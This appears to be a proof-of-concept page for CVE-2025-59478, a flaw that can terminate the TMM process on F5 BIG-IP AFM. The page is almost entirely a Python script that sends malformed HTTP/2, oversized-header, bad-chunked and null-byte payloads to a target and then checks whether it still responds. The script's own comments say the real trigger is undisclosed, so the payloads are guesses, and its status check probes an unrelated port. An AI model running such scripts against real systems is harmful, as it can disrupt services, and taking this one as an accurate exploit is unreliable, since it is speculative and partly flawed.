CVE-2025-59478：F5 BIG-IP AFM DoS配置导致TMM进程终止漏洞

# CVE-2025-59478 PoC - F5 BIG-IP AFM DoS Protection TMM Termination # This PoC demonstrates how to trigger TMM termination via AFM DoS protection profile # Note: Specific trigger request details are undisclosed by F5 import socket import struct import ssl def craft_malicious_request(target_host, target_port=443): """ Craft a request designed to trigger the AFM DoS protection vulnerability. The exact trigger payload is undisclosed, but the attack pattern involves sending specific requests to a virtual server with AFM DoS protection enabled. """ # Attempt various malformed/protocol-abnormal requests that may trigger # the undisclosed code path in AFM DoS processing payloads = [ # Malformed HTTP/2 SETTINGS frame b'\x00\x00\x06\x04\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x64', # Oversized HTTP header b'GET / HTTP/1.1\r\nHost: ' + b'A' * 65535 + b'\r\n\r\n', # Protocol anomaly - invalid chunked encoding b'POST / HTTP/1.1\r\nHost: target\r\nTransfer-Encoding: chunked\r\n\r\nFFFFFFFF\r\n', # TCP-level anomaly targeting DoS profile inspection b'\x00' * 1024, ] for payload in payloads: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_host, target_port)) sock.send(payload) response = sock.recv(4096) sock.close() except Exception as e: print(f"Connection error (may indicate TMM crash): {e}") return True def check_tmm_status(target_host, mgmt_port=8443): """Check if TMM process is still responding after attack.""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(3) sock.connect((target_host, mgmt_port)) sock.close() return "TMM appears to be running" except Exception: return "TMM may have terminated - service unavailable" if __name__ == "__main__": target = "<BIG-IP_VIRTUAL_SERVER_IP>" print(f"[*] Targeting F5 BIG-IP AFM at {target}") craft_malicious_request(target) status = check_tmm_status(target) print(f"[*] Status: {status}")